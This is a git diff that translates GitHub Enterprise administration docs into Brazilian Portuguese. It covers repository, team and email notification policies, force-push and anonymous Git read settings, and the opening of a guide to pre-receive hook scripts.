-Across all organizations owned by your enterprise, you can allow members to invite{% ifversion ghec %} outside{% endif %} collaborators to repositories, restrict {% ifversion ghec %}outside collaborator {% endif %}invitations to organization owners, or allow owners to administer the setting on the organization level.
+## Aplicando uma política para convidar{% ifversion ghec %} colaboradores{% endif %} externos para repositórios
+
+Em todas as organizações pertencentes à sua empresa, você pode permitir que os integrantes convidem{% ifversion ghec %} colaboradores externos{% endif %} para repositórios, restringir convites para {% ifversion ghec %}colaboradores externos {% endif %}para proprietários da organização, ou permitir que os proprietários administrem a configuração no nível da organização.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-3. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes or ghae %}invitations{% endif %}", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-4. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes or ghae %}invitations{% endif %}", use the drop-down menu and choose a policy.
+3. Em "Repositório {% ifversion ghec %}colaboradores externos{% elsif ghes or ghae %}convites{% endif %}", revise as informações sobre a alteração da configuração. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+4. Em "Repositório{% ifversion ghec %}colaboradores externos{% elsif ghes or ghae %}convites{% endif %}", use o menu suspenso e escolha uma política.
   {% ifversion ghec %}
-  ![Drop-down menu with outside collaborator invitation policy options](/assets/images/help/business-accounts/repository-invitation-policy-drop-down.png)
+  ![Menu suspenso com opções de políticas de convite de colaboradores externos](/assets/images/help/business-accounts/repository-invitation-policy-drop-down.png)
   {% elsif ghes or ghae %}
-  ![Drop-down menu with invitation policy options](/assets/images/enterprise/business-accounts/repository-invitation-policy-drop-down.png)  
+  ![Menu suspenso com opções de política de convites](/assets/images/enterprise/business-accounts/repository-invitation-policy-drop-down.png)
   {% endif %}
-  
+
 {% ifversion ghec or ghes or ghae %}
 
-## Enforcing a policy for the default branch name
+## Aplicando uma política para o nome padrão do branch
 
-Across all organizations owned by your enterprise, you can set the default branch name for any new repositories that members create. You can choose to enforce that default branch name across all organizations or allow individual organizations to set a different one.
+Em todas as organizações pertencentes à sua empresa, você pode definir o nome padrão da branch para quaisquer novos repositórios que os integrantes criarem. Você pode optar por aplicar esse nome do branch-padrão em todas as organizações ou permitir que as organizações individuais definam um nome diferente.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
-3. On the **Repository policies** tab, under "Default branch name", enter the default branch name that new repositories should use.
-    ![Text box for entering default branch name](/assets/images/help/business-accounts/default-branch-name-text.png)
-4. Optionally, to enforce the default branch name for all organizations in the enterprise, select **Enforce across this enterprise**.
-    ![Enforcement checkbox](/assets/images/help/business-accounts/default-branch-name-enforce.png)
-5. Click **Update**.
-    ![Update button](/assets/images/help/business-accounts/default-branch-name-update.png)
+3. Na aba **Políticas do repositório** em "Nome do branch-padrão", digite o do branch-padrão que os novos repositórios devem usar. ![Caixa de texto para digitar o nome do branch-padrão](/assets/images/help/business-accounts/default-branch-name-text.png)
+4. Opcionalmente, para aplicar o nome do branch-padrão para todas as organizações da empresa, selecione **Aplicar em toda a empresa**. ![Caixa de aplicação](/assets/images/help/business-accounts/default-branch-name-enforce.png)
+5. Clique em **Atualizar**. ![Botão de atualizar](/assets/images/help/business-accounts/default-branch-name-update.png)
 
 {% endif %}
 
-## Enforcing a policy for changes to repository visibility
+## Aplicando uma política de alterações à visibilidade do repositório
 
-Across all organizations owned by your enterprise, you can allow members with admin access to change a repository's visibility, restrict repository visibility changes to organization owners, or allow owners to administer the setting on the organization level. When you prevent members from changing repository visibility, only enterprise owners can change the visibility of a repository.
+Em todas as organizações pertencentes à sua empresa, é possível permitir que integrantes com acesso administrativo alterem a visibilidade de um repositório, restringir alterações na visibilidade do repositório a proprietários da organização ou permitir que os proprietários administrem a configuração no nível da organização. Quando você impede que os integrantes alterem a visibilidade do repositório, somente os proprietários corporativos podem alterar a visibilidade de um repositório.
 
-If an enterprise owner has restricted repository creation to organization owners only, then members will not be able to change repository visibility. If an enterprise owner has restricted member repository creation to private repositories only, then members will only be able to change the visibility of a repository to private. For more information, see "[Setting a policy for repository creation](#setting-a-policy-for-repository-creation)."
+Se um proprietário corporativo tiver restringido a criação de repositório apenas para os proprietários da organização, os integrantes não poderão alterar a visibilidade do repositório. Se um proprietário corporativo restringir a criação do repositório de integrantes apenas para repositórios privados, os integrantes só poderão alterar a visibilidade de um repositório para privado. Para obter mais informações, consulte "[Definir uma política para a criação de repositórios](#setting-a-policy-for-repository-creation)".
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-5. Under "Repository visibility change", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. Em "Repository visibility change" (Alteração da visibilidade do repositório), revise as informações sobre a alteração da configuração. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
 
 {% data reusables.enterprise-accounts.repository-visibility-policy %}
 
-## Enforcing a policy for repository deletion and transfer
+## Aplicando uma política de exclusão e transferência de repositório
 
-Across all organizations owned by your enterprise, you can allow members with admin permissions to delete or transfer a repository, restrict repository deletion and transfers to organization owners, or allow owners to administer the setting on the organization level.
+Em todas as organizações pertencentes à sua empresa, é possível permitir que integrantes com permissões administrativas excluam ou transfiram um repositório, restringir exclusões e transferências de repositórios a proprietários da organização ou permitir que os proprietários administrem a configuração no nível da organização.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-5. Under "Repository deletion and transfer", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. Em "Repository deletion and transfer" (Exclusão e transferência de repositórios), revise as informações sobre como alterar as configurações. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
 
 {% data reusables.enterprise-accounts.repository-deletion-policy %}
 
-## Enforcing a policy for deleting issues
+## Aplicando uma política para excluir problemas
 
-Across all organizations owned by your enterprise, you can allow members with admin access to delete issues in a repository, restrict issue deletion to organization owners, or allow owners to administer the setting on the organization level.
+Em todas as organizações pertencentes à sua empresa, é possível permitir que integrantes com acesso administrativo excluam problemas em um repositório, restringir a exclusão de problemas a proprietários da organização ou permitir que os proprietários administrem a configuração no nível da organização.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
-3. On the **Repository policies** tab, under "Repository issue deletion", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-4. Under "Repository issue deletion", use the drop-down menu and choose a policy.
-  ![Drop-down menu with issue deletion policy options](/assets/images/help/business-accounts/repository-issue-deletion-policy-drop-down.png)
+3. Na guia **Repository policies** (Políticas de repositório), em "Repository issue deletion" (Exclusão de problemas em repositórios), revise as informações sobre como alterar a configuração. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+4. Em "Repository issue deletion" (Exclusão de problemas em repositórios), use o menu suspenso e escolha uma política. ![Menu suspenso com opções de políticas de exclusão de problemas](/assets/images/help/business-accounts/repository-issue-deletion-policy-drop-down.png)
 
 {% ifversion ghes or ghae %}
 
-## Enforcing a policy for Git push limits
+## Aplicando uma política para limites de push do Git
 
-To keep your repository size manageable and prevent performance issues, you can configure a file size limit for repositories in your enterprise.
+Para manter o tamanho do repositório gerenciável e evitar problemas de desempenho, você pode configurar um limite de tamanho de arquivo para os repositórios na sua empresa.
 
-By default, when you enforce repository upload limits, people cannot add or update files larger than 100 MB.
+Por padrão, quando você impõe os limites de upload do repositório, as pessoas não podem adicionar ou atualizar arquivos maiores que 100 MB.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Repository upload limit", use the drop-down menu and click a maximum object size.
-![Drop-down menu with maximum object size options](/assets/images/enterprise/site-admin-settings/repo-upload-limit-dropdown.png)
-5. Optionally, to enforce a maximum upload limit for all repositories in your enterprise, select **Enforce on all repositories**
-![Enforce maximum object size on all repositories option](/assets/images/enterprise/site-admin-settings/all-repo-upload-limit-option.png)
+4. Em "Repository upload limit" (Limite de upload de repositório), use o menu suspenso e clique para definir o tamanho máximo do objeto. ![Menu suspenso com opções de tamanho máximo de objeto](/assets/images/enterprise/site-admin-settings/repo-upload-limit-dropdown.png)
+5. Opcionalmente, para aplicar um limite máximo de upload para todos os repositórios na sua empresa, selecione **Aplicar em todos os repositórios** ![Opção de limitar o tamanho máximo de objeto em todos os repositórios](/assets/images/enterprise/site-admin-settings/all-repo-upload-limit-option.png)
 
-## Configuring the merge conflict editor for pull requests between repositories
+## Configurar o editor de conflitos de merge para pull requests entre repositórios
 
-Requiring users to resolve merge conflicts locally on their computer can prevent people from inadvertently writing to an upstream repository from a fork.
+Solicitar que os usuário resolvam conflitos de merge em seus respectivos computadores pode impedir gravações inadvertidas em repositórios upstream a partir de uma bifurcação.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
@@ -210,23 +200,21 @@ Requiring users to resolve merge conflicts locally on their computer can prevent
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-1. Under "Conflict editor for pull requests between repositories", use the drop-down menu, and click **Disabled**.
- ![Drop-down menu with option to disable the merge conflict editor](/assets/images/enterprise/settings/conflict-editor-settings.png)
+1. Em "Conflict editor for pull requests between repositories" (Editor de conflitos para pull requests entre repositórios), use o menu suspenso e clique em **Disabled** (Desabilitar). ![Menu suspenso com opção para desabilitar o editor de conflito de merge](/assets/images/enterprise/settings/conflict-editor-settings.png)
 
-## Configuring force pushes
+## Configurar pushes forçados
 
-Each repository inherits a default force push setting from the settings of the user account or organization that owns the repository. Each organization and user account inherits a default force push setting from the force push setting for the enterprise. If you change the force push setting for the enterprise, the policy applies to all repositories owned by any user or organization.
+Cada repositório herda uma configuração de push forçado padrão das configurações da conta de usuário ou organização proprietária do repositório. Cada conta de organização e usuário herda uma configuração padrão de push forçado a partir da configuração de push forçado para a empresa. Se você alterar a configuração de push forçado para a empresa, a política irá aplicar-se a todos os repositórios pertencentes a qualquer usuário ou organização.
 
-### Blocking force pushes to all repositories
+### Bloqueando pushes forçado para todos os repositórios
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Force pushes", use the drop-down menu, and click **Allow**, **Block** or **Block to the default branch**.
-![Force pushes dropdown](/assets/images/enterprise/site-admin-settings/force-pushes-dropdown.png)
-5. Optionally, select **Enforce on all repositories**, which will override organization and repository level settings for force pushes.
+4. Em "Force pushes" (Pushes forçados), use o menu suspenso e clique em **Allow** (Permitir), **Block** (Bloquear) ou **Block to the default branch** (Bloquear no branch padrão). ![Menu suspenso pushes forçados](/assets/images/enterprise/site-admin-settings/force-pushes-dropdown.png)
+5. Você também pode selecionar a opção **Enforce on all repositories** (Forçar em todos os repositórios), que substituirá as configurações no nível da organização e do repositório por push forçados.
 
-### Blocking force pushes to a specific repository
+### Bloquear pushes forçados para um repositório específico
 
 {% data reusables.enterprise_site_admin_settings.override-policy %}
 
@@ -236,14 +224,13 @@ Each repository inherits a default force push setting from the settings of the u
 {% data reusables.enterprise_site_admin_settings.click-repo %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-4. Select **Block** or **Block to the default branch** under **Push and Pull**.
-   ![Block force pushes](/assets/images/enterprise/site-admin-settings/repo/repo-block-force-pushes.png)
+4. Selecione **Block** (Bloquear) ou **Block to the default branch** (Bloquear no branch padrão) em **Push and Pull** (Operações de push e pull). ![Bloquear pushes forçados](/assets/images/enterprise/site-admin-settings/repo/repo-block-force-pushes.png)
 
-### Blocking force pushes to repositories owned by a user account or organization
+### Bloquear pushes forçados em repositórios pertencentes a uma organização ou conta de usuário
 
-Repositories inherit force push settings from the user account or organization to which they belong. User accounts and organizations in turn inherit their force push settings from the force push settings for the enterprise.
+Os repositórios herdam as configurações de push forçado da conta do usuário ou da organização à qual pertencem. As contas de usuários e organizações herdam as configurações de push forçado a partir das configurações de push forçado para a empresa.
 
-You can override the default inherited settings by configuring the settings for a user account or organization.
+Você pode substituir as configurações padrão herdadas definindo as configurações da conta de usuário ou da organização.
 
 {% data reusables.enterprise_site_admin_settings.sign-in %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
@@ -251,32 +238,30 @@ You can override the default inherited settings by configuring the settings for
 {% data reusables.enterprise_site_admin_settings.click-user-or-org %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-5. Under "Repository default settings" in the "Force pushes" section, select
-    - **Block** to block force pushes to all branches.
-    - **Block to the default branch** to only block force pushes to the default branch.
-  ![Block force pushes](/assets/images/enterprise/site-admin-settings/user/user-block-force-pushes.png)
-6. Optionally, select **Enforce on all repositories** to override repository-specific settings. Note that this will **not** override an enterprise-wide policy.
-   ![Block force pushes](/assets/images/enterprise/site-admin-settings/user/user-block-all-force-pushes.png)
+5. Em "Repository default settings" (Configurações padrão do repositório) na seção "Force pushes" (Pushes forçados), selecione
+    - **Block** (Bloquear) para bloquear os pushes forçados em todos os branches.
+    - **Block to the default branch** (Bloquear no branch padrão) para bloquear os pushes forçados apenas no branch padrão. ![Bloquear pushes forçados](/assets/images/enterprise/site-admin-settings/user/user-block-force-pushes.png)
+6. Você também pode selecionar a opção **Enforce on all repositories** (Forçar em todos os repositórios), que substituirá as configurações específicas do repositório. Observe que isso **não** substituirá uma política para toda a empresa. ![Bloquear pushes forçados](/assets/images/enterprise/site-admin-settings/user/user-block-all-force-pushes.png)
 
 {% endif %}
 
 {% ifversion ghes %}
 
-## Configuring anonymous Git read access
+## Configurar o acesso de leitura anônimo do Git
 
 {% data reusables.enterprise_user_management.disclaimer-for-git-read-access %}
 
-{% ifversion ghes %}If you have [enabled private mode](/enterprise/admin/configuration/enabling-private-mode) on your enterprise, you {% else %}You {% endif %}can allow repository administrators to enable anonymous Git read access to public repositories.
+{% ifversion ghes %}Se você tiver o [habilitado o modo privado](/enterprise/admin/configuration/enabling-private-mode) na sua empresa, você {% else %}Você {% endif %}pode permitir que administradores de repositórios habilitem o acesso de leitura anônimo do Git aos repositórios públicos.
 
-Enabling anonymous Git read access allows users to bypass authentication for custom tools on your enterprise. When you or a repository administrator enable this access setting for a repository, unauthenticated Git operations (and anyone with network access to {% data variables.product.product_name %}) will have read access to the repository without authentication.
+Habilitar o acesso de leitura anônimo do Git permite que os usuários ignorem a autenticação para ferramentas personalizadas na sua empresa. Quando você ou um administrador de repositório habilitar essa configuração de acesso em um repositório, as operações não autenticadas do Git (e qualquer pessoa com acesso de rede ao {% data variables.product.product_name %}) terão acesso de leitura sem autenticação ao repositório.
 
-If necessary, you can prevent repository administrators from changing anonymous Git access settings for repositories on your enterprise by locking the repository's access settings. After you lock a repository's Git read access setting, only a site administrator can change the setting.
+Se necessário, você pode impedir que os administradores do repositório alterem configurações anônimas de acesso do Git para repositórios, bloqueando as configurações de acesso do repositório. Após o bloqueio, somente um administrador de site poderá alterar a configuração do acesso de leitura anônimo do Git.
 
 {% data reusables.enterprise_site_admin_settings.list-of-repos-with-anonymous-git-read-access-enabled %}
 
 {% data reusables.enterprise_user_management.exceptions-for-enabling-anonymous-git-read-access %}
 
-### Setting anonymous Git read access for all repositories
+### Definir o acesso de leitura anônimo do Git para todos os repositórios
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
@@ -285,23 +270,19 @@ If necessary, you can prevent repository administrators from changing anonymous
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Anonymous Git read access", use the drop-down menu, and click **Enabled**.
-![Anonymous Git read access drop-down menu showing menu options "Enabled" and "Disabled"](/assets/images/enterprise/site-admin-settings/enable-anonymous-git-read-access.png)
-3. Optionally, to prevent repository admins from changing anonymous Git read access settings in all repositories on your enterprise, select **Prevent repository admins from changing anonymous Git read access**.
-![Select checkbox to prevent repository admins from changing anonymous Git read access settings for all repositories on your enterprise](/assets/images/enterprise/site-admin-settings/globally-lock-repos-from-changing-anonymous-git-read-access.png)
+4. Em "Anonymous Git read access" (Acesso de leitura anônimo do Git), use o menu suspenso e clique em **Enabled** (Habilitado). ![Menu suspenso de acesso de leitura anônimo do Git com as opções "Enabled" (Habilitado) e "Disabled" (Desabilitado)
+](/assets/images/enterprise/site-admin-settings/enable-anonymous-git-read-access.png)
+3. Opcionalmente, para impedir que os administradores do repositório alterem as configurações de acesso de leitura anônimas do Git em todos os repositórios da sua empresa, selecione **Impedir que os administradores do repositório de alterarem o acesso de leitura anônimo do Git**. ![Marque a caixa de seleção para evitar que os administradores do repositório alterem as configurações de acesso de leitura anônimas do Git para todos os repositórios da sua empresa](/assets/images/enterprise/site-admin-settings/globally-lock-repos-from-changing-anonymous-git-read-access.png)
 
-### Setting anonymous Git read access for a specific repository
+### Definir acesso de leitura anônimo do Git para um repositório específico
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.repository-search %}
 {% data reusables.enterprise_site_admin_settings.click-repo %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-6. Under "Danger Zone", next to "Enable Anonymous Git read access", click **Enable**.
-!["Enabled" button under "Enable anonymous Git read access" in danger zone of a repository's site admin settings ](/assets/images/enterprise/site-admin-settings/site-admin-enable-anonymous-git-read-access.png)
-7. Review the changes. To confirm, click **Yes, enable anonymous Git read access.**
-![Confirm anonymous Git read access setting in pop-up window](/assets/images/enterprise/site-admin-settings/confirm-anonymous-git-read-access-for-specific-repo-as-site-admin.png)
-8. Optionally, to prevent repository admins from changing this setting for this repository, select **Prevent repository admins from changing anonymous Git read access**.
-![Select checkbox to prevent repository admins from changing anonymous Git read access for this repository](/assets/images/enterprise/site-admin-settings/lock_anonymous_git_access_for_specific_repo.png)
+6. Em "Danger Zone" (Zona de perigo), ao lado de "Enable anonymous Git read access" (Habilitar acesso de leitura anônimo do Git), clique em **Enable** (Habilitar). ![Botão "Enabled" (Habilitado) na opção "Enable anonymous Git read access" (Habilitar acesso de leitura anônimo do Git) na zona de perigo das configurações de administração do site ](/assets/images/enterprise/site-admin-settings/site-admin-enable-anonymous-git-read-access.png)
+7. Revise as alterações. Para confirmar, clique em **Yes, enable anonymous Git read access** (Sim, permitir acesso de leitura anônimo ao Git). ![Confirmar configuração de acesso de leitura anônimo do Git na janela pop-up](/assets/images/enterprise/site-admin-settings/confirm-anonymous-git-read-access-for-specific-repo-as-site-admin.png)
+8. Para impedir que os administradores de repositório alterem a configuração nesse repositório, você também pode selecionar **Prevent repository admins from changing anonymous Git read access** (Impedir administradores de repositório de alterarem o acesso de leitura anônimo do Git). ![Marcar a caixa de seleção para impedir que administradores de repositório alterem as configurações de acesso de leitura anônimo do Git em todos os repositórios da instância](/assets/images/enterprise/site-admin-settings/lock_anonymous_git_access_for_specific_repo.png)
 
 {% endif %}
diff --git a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
index 14860a36f6..696f60f8c3 100644
--- a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
+++ b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
@@ -1,8 +1,7 @@
 ---
-title: Enforcing team policies in your enterprise
-intro: 'You can enforce policies for teams in your enterprise''s organizations, or allow policies to be set in each organization.'
+title: Aplicando políticas de equipe na sua empresa
+intro: É possível aplicar políticas para equipes nas organizações da sua empresa ou permitir que as políticas sejam definidas em cada organização.
 permissions: Enterprise owners can enforce policies for teams in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /articles/enforcing-team-settings-for-organizations-in-your-business-account
   - /articles/enforcing-team-policies-for-organizations-in-your-enterprise-account
@@ -19,21 +18,19 @@ topics:
   - Enterprise
   - Policies
   - Teams
-shortTitle: Team policies
+shortTitle: Políticas de equipe
 ---
 
-## About policies for teams in your enterprise
+## Sobre políticas para equipes na sua empresa
 
-You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage teams. You can also allow organization owners to manage policies for teams. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)."
+Você pode aplicar políticas para controlar como os integrantes da sua empresa em {% data variables.product.product_name %} gerenciam as equipes. Você também pode permitir que proprietários da organização gerenciem as políticas para as equipes. Para obter mais informações, consulte "[Sobre equipes](/organizations/organizing-members-into-teams/about-teams)".
 
-## Enforcing a policy for team discussions
+## Aplicar política para discussões de equipe
 
-Across all organizations owned by your enterprise, you can enable or disable team discussions, or allow owners to administer the setting on the organization level. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions/)."
+Em todas as organizações pertencentes à sua empresa, é possível habilitar ou desabilitar discussões de equipe ou permitir que os proprietários administrem a configuração no nível da organização. Para obter mais informações, consulte "[Sobre discussões de equipe](/organizations/collaborating-with-your-team/about-team-discussions/)".
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
-3. In the left sidebar, click **Teams**.
-  ![Teams tab in the enterprise sidebar](/assets/images/help/business-accounts/settings-teams-tab.png)
-4. Under "Team discussions", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "Team discussions", use the drop-down menu and choose a policy.
-  ![Drop-down menu with team discussion policy options](/assets/images/help/business-accounts/team-discussion-policy-drop-down.png)
+3. Na barra lateral esquerda, clique em **Teams** (Equipes). ![Aba Equipes na barra lateral da empresa](/assets/images/help/business-accounts/settings-teams-tab.png)
+4. Em "Team discussions" (Discussões de equipe), revise as informações sobre como alterar a configuração. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. Em "Team discussions" (Discussões de equipe), use o menu suspenso e escolha uma política. ![Menu suspenso com opções de políticas de discussão de equipe](/assets/images/help/business-accounts/team-discussion-policy-drop-down.png)
diff --git a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md
index d0ce79dc0e..ad27b65822 100644
--- a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md
+++ b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Restricting email notifications for your enterprise
-intro: You can prevent your enterprise's information from leaking into personal email accounts by restricting the domains where members can receive email notifications about activity in organizations owned by your enterprise.
+title: Restringir notificações por e-mail para sua empresa
+intro: 'Você pode impedir que as informações da sua empresa se convertam em contas de e-mail pessoais, restringindo domínios em que os integrantes podem receber notificações por e-mail sobre a atividade em organizações pertencentes à sua empresa.'
 product: '{% data reusables.gated-features.restrict-email-domain %}'
 versions:
   ghec: '*'
@@ -17,27 +17,27 @@ redirect_from:
   - /github/setting-up-and-managing-your-enterprise/restricting-email-notifications-for-your-enterprise-account-to-approved-domains
   - /github/setting-up-and-managing-your-enterprise/restricting-email-notifications-for-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/restricting-email-notifications-for-your-enterprise-account
-shortTitle: Restrict email notifications
+shortTitle: Restringir notificações de e-mail
 ---
 
-## About email restrictions for your enterprise
+## Sobre restrições de e-mail para a sua empresa
 
-When you restrict email notifications, enterprise members can only use an email address in a verified or approved domain to receive email notifications about activity in organizations owned by your enterprise.
+Ao restringir as notificações por e-mail, os integrantes da empresa só podem usar um endereço de e-mail em um domínio verificado ou aprovado para receber notificações de e-mail sobre a atividade em organizações pertencentes à sua empresa.
 
 {% data reusables.enterprise-accounts.approved-domains-beta-note %}
 
-The domains can be inherited from the enterprise or configured for the specific organization. For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)" and "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)."
+Os domínios podem ser herdados da empresa ou configurados para a organização específica. Para mais informações, consulte "[verificar ou aprovar um domínio para a sua empresa](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)" e[Restringir notificações de e-mail para a sua organização](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)".
 
 {% data reusables.notifications.email-restrictions-verification %}
 
-If email restrictions are enabled for an enterprise, organization owners cannot disable email restrictions for any organization owned by the enterprise. If changes occur that result in an organization having no verified or approved domains, either inherited from an enterprise that owns the organization or for the specific organization, email restrictions will be disabled for the organization.
+Se restrições de e-mail estiverem habilitadas para uma empresa, os proprietários da organização não poderão desabilitar restrições de e-mail para qualquer organização que pertence à empresa. Se ocorrerem alterações que resultem em uma organização não ter domínios verificados ou aprovados, herdado de uma empresa pertencente à organização ou para uma organização específica, as restrições de e-mail serão desabilitadas para a organização.
 
-## Restricting email notifications for your enterprise
+## Restringir notificações por e-mail para sua empresa
 
-Before you can restrict email notifications for your enterprise, you must verify or approve at least one domain for the enterprise. {% ifversion ghec %} For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %}
+Antes de restringir as notificações por e-mail para a sua empresa, você deve verificar ou aprovar pelo menos um domínio para a empresa. {% ifversion ghec %} Para obter mais informações, consulte "[Verificar ou aprovar um domínio para a sua empresa](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.verified-domains-tab %}
 {% data reusables.organizations.restrict-email-notifications %}
-1. Click **Save**.
+1. Clique em **Salvar**.
diff --git a/translations/pt-BR/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md b/translations/pt-BR/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md
index 48b09b3704..59292b6eb3 100644
--- a/translations/pt-BR/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md
+++ b/translations/pt-BR/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a pre-receive hook script
-intro: Use pre-receive hook scripts to create requirements for accepting or rejecting a push based on the contents.
+title: Criar um script de hook pre-receive
+intro: Use os scripts de hooks pre-receive a fim de criar requisitos para aceitar ou rejeitar um push com base no conteúdo.
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /enterprise/admin/developer-workflow/creating-a-pre-receive-hook-script
@@ -13,143 +13,144 @@ topics:
   - Enterprise
   - Policies
   - Pre-receive hooks
-shortTitle: Pre-receive hook scripts
+shortTitle: Scripts de hook pre-receive
 ---
-You can see examples of pre-receive hooks for {% data variables.product.prodname_ghe_server %} in the [`github/platform-samples` repository](https://github.com/github/platform-samples/tree/master/pre-receive-hooks).
 
-## Writing a pre-receive hook script
-A pre-receive hook script executes in a pre-receive hook environment on {% data variables.product.product_location %}. When you create a pre-receive hook script, consider the available input, output, exit status, and environment variables.
+Veja exemplos de hooks pre-receive para o {% data variables.product.prodname_ghe_server %} no repositório  [`github/platform-samples`](https://github.com/github/platform-samples/tree/master/pre-receive-hooks).
 
-### Input (`stdin`)
-After a push occurs and before any refs are updated for the remote repository, the `git-receive-pack` process on {% data variables.product.product_location %} invokes the pre-receive hook script. Standard input for the script, `stdin`, is a string containing a line for each ref to update. Each line contains the old object name for the ref, the new object name for the ref, and the full name of the ref.
+## Gravar um script de hook pre-receive
+Um script de hook pre-receive é executado em um ambiente de hook pre-receive em {% data variables.product.product_location %}. Ao criar um script de hook pre-receive, considere a entrada, saída, estado de saída e variáveis de ambiente disponíveis.
+
+### Entrada (`stdin`)
+Depois que um push ocorrer e antes que qualquer ref seja atualizado para o repositório remoto, o processo `git-receive-pack` em {% data variables.product.product_location %} irá invocar o script de do hook pre-receive. A entrada padrão para o script, `stdin`, é uma string que contém uma linha atualizar cada ref. Cada linha contém o nome antigo do objeto para ref, o novo nome do objeto para o ref e o nome completo do ref.
 
 ```
 <old-value> SP <new-value> SP <ref-name> LF
 ```
 
-This string represents the following arguments.
+Essa frase representa os argumentos a seguir.
 
-| Argument | Description     |
-| :------------- | :------------- |
-| `<old-value>` | Old object name stored in the ref.<br> When you create a new ref, the value is 40 zeroes. |
-| `<new-value>` | New object name to be stored in the ref.<br> When you delete a ref, the value is 40 zeroes. |
-| `<ref-name>`  | The full name of the ref. |
+| Argumento           | Descrição                                                                                         |
+|:------------------- |:------------------------------------------------------------------------------------------------- |
+| `<old-value>` | Nome de objeto antigo armazenado na ref.<br> Ao criar uma nova ref, o valor será 40 zeros.  |
+| `<new-value>` | Novo nome de objeto a ser armazenado na ref.<br> Ao excluir uma ref, o valor será 40 zeros. |
+| `<ref-name>`  | O nome completo da ref.                                                                           |
 
